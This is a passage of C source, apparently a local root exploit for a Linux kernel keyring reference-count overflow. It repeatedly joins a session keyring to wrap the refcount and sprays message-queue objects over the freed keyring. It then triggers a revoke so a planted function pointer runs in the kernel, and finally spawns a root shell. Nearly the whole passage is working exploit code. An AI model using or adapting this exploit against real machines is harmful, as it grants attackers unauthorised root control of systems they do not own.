*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
keyring_name = argv[1];
/* Set the new session keyring before we start */
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL |
KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}
puts("[+] Increfing...");
for (i = 1; i < 0xfffffffd; i++) {
if (i == (0xffffffff - l)) {
l = l/2;
sleep(5);
}
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("[-] keyctl");
return -1;
}
}
sleep(5);
/* here we are going to leak the last references to overflow */
for (i=0; i<5; ++i) {
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("[-] keyctl");
return -1;
}
}
puts("[+] Finished increfing");
puts("[+] Forking...");
/* allocate msg struct in the kernel rewriting the freed keyring
object */
for (i=0; i<64; i++) {
pid = fork();
if (pid == -1) {
perror("[-] fork");
return -1;
}
if (pid == 0) {
sleep(2);
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("[-] msgget");
exit(1);
}
for (i = 0; i < 64; i++) {
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("[-] msgsnd");
exit(1);
}
}
sleep(-1);
exit(1);
}
}
puts("[+] Finished forking");
sleep(5);
/* call userspace_revoke from kernel */
puts("[+] Caling revoke...");
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
perror("[+] keyctl_revoke");
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
execl("/bin/sh", "/bin/sh", NULL);
return 0;
}
